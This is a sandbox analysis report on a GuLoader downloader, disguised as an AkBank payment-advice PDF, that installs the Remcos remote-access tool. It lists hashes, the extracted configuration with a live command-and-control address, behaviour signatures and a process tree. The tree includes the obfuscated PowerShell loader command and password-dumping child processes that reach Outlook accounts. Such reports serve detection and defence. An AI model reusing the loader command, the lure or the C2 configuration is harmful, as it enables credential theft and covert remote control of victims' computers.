guloader | bd8fd6be04313a5a4eb8fa44ebfab32d3a3f070f704aab64a1942385f96bc5b5

Analysis

max time kernel
149s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
25/02/2025, 14:32

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Report Analysis Logs

General

Target

AkBankPaymentAdvice25.02.25.PDF.exe
Size

810KB
MD5

aa803cd51f3e60c2b20243bb9daf0ecc
SHA1

55a459947d00e90778254731697f7c0483ea8bee
SHA256

bd8fd6be04313a5a4eb8fa44ebfab32d3a3f070f704aab64a1942385f96bc5b5
SHA512

63f1105ccb841bf68938710bdd2b3db98fa427f0e3e49f1e2f775f13c4d1cdc057f695d8177b5832fb923fe3aeb5f9e9263bed51a470d2d2d714907f765562db
SSDEEP

12288:bXlJzDftpn5sJdU0FwCUcOpIKtuMmjjvF+aTfX+Q+szg8wtS1HirSnVHNYRSD6H8:bXLPX6bCCCGMm/Fr+NswStikt+H

Score

10^/10

guloader remcos remotehost collection discovery downloader execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

103.195.236.246:9462

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-AISZUC
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Guloader family
guloader
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/1924-100-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2324-104-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/2280-105-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2280-105-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2324-104-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
30	4556	msiexec.exe
32	4556	msiexec.exe
33	4556	msiexec.exe
35	4556	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4556	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5660	powershell.exe
4556	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4556 set thread context of 2324	4556	msiexec.exe	99
PID 4556 set thread context of 2280	4556	msiexec.exe	100
PID 4556 set thread context of 1924	4556	msiexec.exe	101

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5660	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AkBankPaymentAdvice25.02.25.PDF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
5660	powershell.exe
5660	powershell.exe
5660	powershell.exe
5660	powershell.exe
5660	powershell.exe
5660	powershell.exe
5660	powershell.exe
1924	msiexec.exe
1924	msiexec.exe
2324	msiexec.exe
2324	msiexec.exe
2324	msiexec.exe
2324	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
5660	powershell.exe
4556	msiexec.exe
4556	msiexec.exe
4556	msiexec.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	5660	powershell.exe
Token: SeIncreaseQuotaPrivilege	5660	powershell.exe
Token: SeSecurityPrivilege	5660	powershell.exe
Token: SeTakeOwnershipPrivilege	5660	powershell.exe
Token: SeLoadDriverPrivilege	5660	powershell.exe
Token: SeSystemProfilePrivilege	5660	powershell.exe
Token: SeSystemtimePrivilege	5660	powershell.exe
Token: SeProfSingleProcessPrivilege	5660	powershell.exe
Token: SeIncBasePriorityPrivilege	5660	powershell.exe
Token: SeCreatePagefilePrivilege	5660	powershell.exe
Token: SeBackupPrivilege	5660	powershell.exe
Token: SeRestorePrivilege	5660	powershell.exe
Token: SeShutdownPrivilege	5660	powershell.exe
Token: SeDebugPrivilege	5660	powershell.exe
Token: SeSystemEnvironmentPrivilege	5660	powershell.exe
Token: SeRemoteShutdownPrivilege	5660	powershell.exe
Token: SeUndockPrivilege	5660	powershell.exe
Token: SeManageVolumePrivilege	5660	powershell.exe
Token: 33	5660	powershell.exe
Token: 34	5660	powershell.exe
Token: 35	5660	powershell.exe
Token: 36	5660	powershell.exe
Token: SeDebugPrivilege	1924	msiexec.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4556	msiexec.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4036 wrote to memory of 5660	4036	AkBankPaymentAdvice25.02.25.PDF.exe	89
PID 4036 wrote to memory of 5660	4036	AkBankPaymentAdvice25.02.25.PDF.exe	89
PID 4036 wrote to memory of 5660	4036	AkBankPaymentAdvice25.02.25.PDF.exe	89
PID 5660 wrote to memory of 4556	5660	powershell.exe	98
PID 5660 wrote to memory of 4556	5660	powershell.exe	98
PID 5660 wrote to memory of 4556	5660	powershell.exe	98
PID 5660 wrote to memory of 4556	5660	powershell.exe	98
PID 4556 wrote to memory of 2324	4556	msiexec.exe	99
PID 4556 wrote to memory of 2324	4556	msiexec.exe	99
PID 4556 wrote to memory of 2324	4556	msiexec.exe	99
PID 4556 wrote to memory of 2324	4556	msiexec.exe	99
PID 4556 wrote to memory of 2280	4556	msiexec.exe	100
PID 4556 wrote to memory of 2280	4556	msiexec.exe	100
PID 4556 wrote to memory of 2280	4556	msiexec.exe	100
PID 4556 wrote to memory of 2280	4556	msiexec.exe	100
PID 4556 wrote to memory of 1924	4556	msiexec.exe	101
PID 4556 wrote to memory of 1924	4556	msiexec.exe	101
PID 4556 wrote to memory of 1924	4556	msiexec.exe	101
PID 4556 wrote to memory of 1924	4556	msiexec.exe	101

C:\Users\Admin\AppData\Local\Temp\AkBankPaymentAdvice25.02.25.PDF.exe
"C:\Users\Admin\AppData\Local\Temp\AkBankPaymentAdvice25.02.25.PDF.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4036
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Disbase=gc -Raw 'C:\Users\Admin\AppData\Local\overmitigating\Semimatureness.Syn';$Portended=$Disbase.SubString(2330,3);.$Portended($Disbase)" "$Disbase=gc -Raw 'C:\Users\Admin\AppData\Local\overmitigating\Semimatureness.Syn';$Portended=$Disbase.SubString(2330,3);.$Portended($Disbase)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5660
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4556
  - - C:\Windows\SysWOW64\msiexec.exe
      C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ihsuqgjbuhbamcya"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2324
  - - C:\Windows\SysWOW64\msiexec.exe
      C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\sjyeqycchptnoimetbe"
      4⤵
      Accesses Microsoft Outlook accounts
      System Location Discovery: System Language Discovery
      PID:2280
  - - C:\Windows\SysWOW64\msiexec.exe
      C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\dddxrjnwvxlsywiikmraqoz"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
102B

MD5
d25d0f9c48e4779dc27cf85846dcbaef

SHA1
1b69820d505a91423b71073069afeeea251ce8d3

SHA256
8448d803f64e55eae8df5b82207be90ca904ef84f640c5a8df2c0776971d31a8

SHA512
6c63acba79711bf907e5f738374a9c1cb08de7b33fda8596da01e37200206423f2d82fc760642aedfd43aac4207af408af004e47d58db092832cb2988dd5cbd2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qqk2hnh3.pxm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ihsuqgjbuhbamcya

Filesize
4KB

MD5
01175e02954cdbacf6a27feb49b7dea7

SHA1
bc993a6a54eb9f27b4e81fb47cdfb7ac51a4a6cc

SHA256
b722cecc751e05566f77c805d3366d2ab0c73ee165dbdc91b460834c781c0c20

SHA512
9619160604c4e770419bad6933364680460560b3b3f799cc4df7014112d5033d9949350c9d0677a02d835ee588c521a7baee7ae2591e832fa7304df7652ea65d

Download Submit
C:\Users\Admin\AppData\Local\overmitigating\Demineraliseringernes.Woo

Filesize
343KB

MD5
7b231efc2be67bf7b4ffb948b5886ffd

SHA1
5227dc69a3aea7e9d57c3d5103fbd65f93f9942b

SHA256
a05de994345474985b6aed6d8c13fb8b03c95330bf8c1b0c687b0309271a26e7

SHA512
d7a6fbf762639f57e72f83c63d12268bab84f53ef2d994d4b9c52bbb8a7a9d1af52c5c9f2c8a31d6688f4cc44817c0e1ba611dcee2f06d1559a854a440d9a433

Download Submit
C:\Users\Admin\AppData\Local\overmitigating\Semimatureness.Syn

Filesize
71KB

MD5
8e902a81fa8503a616e19a1918fd9272

SHA1
f3f35dc9bfa3fd4c168fcfee1773a41c1d7cc80f

SHA256
9f62a9339e6b0d20c1d1505700e2c364848ec6bc1929c6a7a1c9cc8486a2e2ec

SHA512
7f6cc83677c6e2f78586470cfab463c6623fb414ac75881d024c089931dee50d5ef5d2aa8308e1e65b12b11ecbf0560d50deebe0e4eb76b618645b3a610bf4da

Download Submit
memory/1924-100-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1924-99-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1924-97-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2280-105-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2280-96-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2280-98-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2324-95-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2324-101-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2324-104-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2324-103-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4556-136-0x0000000000C90000-0x0000000001EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-148-0x0000000000C90000-0x0000000001EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-112-0x000000001EB00000-0x000000001EB19000-memory.dmp

Filesize
100KB

Download
memory/4556-115-0x000000001EB00000-0x000000001EB19000-memory.dmp

Filesize
100KB

Download
memory/4556-116-0x000000001EB00000-0x000000001EB19000-memory.dmp

Filesize
100KB

Download
memory/4556-130-0x0000000000C90000-0x0000000001EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-142-0x0000000000C90000-0x0000000001EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-145-0x0000000000C90000-0x0000000001EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-118-0x0000000000C90000-0x0000000001EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-139-0x0000000000C90000-0x0000000001EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-121-0x0000000000C90000-0x0000000001EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-151-0x0000000000C90000-0x0000000001EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-133-0x0000000000C90000-0x0000000001EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-124-0x0000000000C90000-0x0000000001EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-127-0x0000000000C90000-0x0000000001EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-93-0x0000000001EF0000-0x0000000002E17000-memory.dmp

Filesize
15.2MB

Download
memory/4556-92-0x0000000000C90000-0x0000000001EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-88-0x0000000000C90000-0x0000000001EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4556-86-0x0000000001EF0000-0x0000000002E17000-memory.dmp

Filesize
15.2MB

Download
memory/5660-50-0x0000000075250000-0x0000000075A00000-memory.dmp

Filesize
7.7MB

Download
memory/5660-48-0x0000000007B00000-0x0000000007B32000-memory.dmp

Filesize
200KB

Download
memory/5660-76-0x000000007525E000-0x000000007525F000-memory.dmp

Filesize
4KB

Download
memory/5660-78-0x0000000075250000-0x0000000075A00000-memory.dmp

Filesize
7.7MB

Download
memory/5660-77-0x0000000075250000-0x0000000075A00000-memory.dmp

Filesize
7.7MB

Download
memory/5660-79-0x00000000091A0000-0x000000000A0C7000-memory.dmp

Filesize
15.2MB

Download
memory/5660-80-0x0000000075250000-0x0000000075A00000-memory.dmp

Filesize
7.7MB

Download
memory/5660-81-0x0000000075250000-0x0000000075A00000-memory.dmp

Filesize
7.7MB

Download
memory/5660-82-0x0000000075250000-0x0000000075A00000-memory.dmp

Filesize
7.7MB

Download
memory/5660-83-0x0000000075250000-0x0000000075A00000-memory.dmp

Filesize
7.7MB

Download
memory/5660-84-0x0000000075250000-0x0000000075A00000-memory.dmp

Filesize
7.7MB

Download
memory/5660-85-0x0000000075250000-0x0000000075A00000-memory.dmp

Filesize
7.7MB

Download
memory/5660-87-0x0000000077C71000-0x0000000077D91000-memory.dmp

Filesize
1.1MB

Download
memory/5660-73-0x0000000075250000-0x0000000075A00000-memory.dmp

Filesize
7.7MB

Download
memory/5660-72-0x0000000007E90000-0x0000000007EB4000-memory.dmp

Filesize
144KB

Download
memory/5660-71-0x0000000007E60000-0x0000000007E8A000-memory.dmp

Filesize
168KB

Download
memory/5660-70-0x0000000007E30000-0x0000000007E38000-memory.dmp

Filesize
32KB

Download
memory/5660-69-0x0000000007E40000-0x0000000007E5A000-memory.dmp

Filesize
104KB

Download
memory/5660-68-0x0000000007E00000-0x0000000007E14000-memory.dmp

Filesize
80KB

Download
memory/5660-67-0x0000000007DF0000-0x0000000007DFE000-memory.dmp

Filesize
56KB

Download
memory/5660-66-0x0000000007DC0000-0x0000000007DD1000-memory.dmp

Filesize
68KB

Download
memory/5660-74-0x0000000075250000-0x0000000075A00000-memory.dmp

Filesize
7.7MB

Download
memory/5660-49-0x0000000071070000-0x00000000710BC000-memory.dmp

Filesize
304KB

Download
memory/5660-65-0x0000000075250000-0x0000000075A00000-memory.dmp

Filesize
7.7MB

Download
memory/5660-64-0x0000000007C70000-0x0000000007C7A000-memory.dmp

Filesize
40KB

Download
memory/5660-62-0x0000000075250000-0x0000000075A00000-memory.dmp

Filesize
7.7MB

Download
memory/5660-63-0x0000000007B70000-0x0000000007C13000-memory.dmp

Filesize
652KB

Download
memory/5660-23-0x000000007525E000-0x000000007525F000-memory.dmp

Filesize
4KB

Download
memory/5660-51-0x0000000071210000-0x0000000071564000-memory.dmp

Filesize
3.3MB

Download
memory/5660-61-0x0000000007B40000-0x0000000007B5E000-memory.dmp

Filesize
120KB

Download
memory/5660-47-0x0000000008B20000-0x000000000919A000-memory.dmp

Filesize
6.5MB

Download
memory/5660-45-0x0000000007EF0000-0x0000000008494000-memory.dmp

Filesize
5.6MB

Download
memory/5660-42-0x0000000007650000-0x00000000076E6000-memory.dmp

Filesize
600KB

Download
memory/5660-44-0x0000000006BE0000-0x0000000006C02000-memory.dmp

Filesize
136KB

Download
memory/5660-43-0x0000000006BC0000-0x0000000006BDA000-memory.dmp

Filesize
104KB

Download
memory/5660-41-0x00000000066C0000-0x000000000670C000-memory.dmp

Filesize
304KB

Download
memory/5660-40-0x0000000006680000-0x000000000669E000-memory.dmp

Filesize
120KB

Download
memory/5660-39-0x00000000060D0000-0x0000000006424000-memory.dmp

Filesize
3.3MB

Download
memory/5660-28-0x0000000005FF0000-0x0000000006056000-memory.dmp

Filesize
408KB

Download
memory/5660-29-0x0000000006060000-0x00000000060C6000-memory.dmp

Filesize
408KB

Download
memory/5660-27-0x00000000056D0000-0x00000000056F2000-memory.dmp

Filesize
136KB

Download
memory/5660-26-0x0000000005850000-0x0000000005E78000-memory.dmp

Filesize
6.2MB

Download
memory/5660-25-0x0000000075250000-0x0000000075A00000-memory.dmp

Filesize
7.7MB

Download
memory/5660-24-0x00000000030B0000-0x00000000030E6000-memory.dmp

Filesize
216KB

Download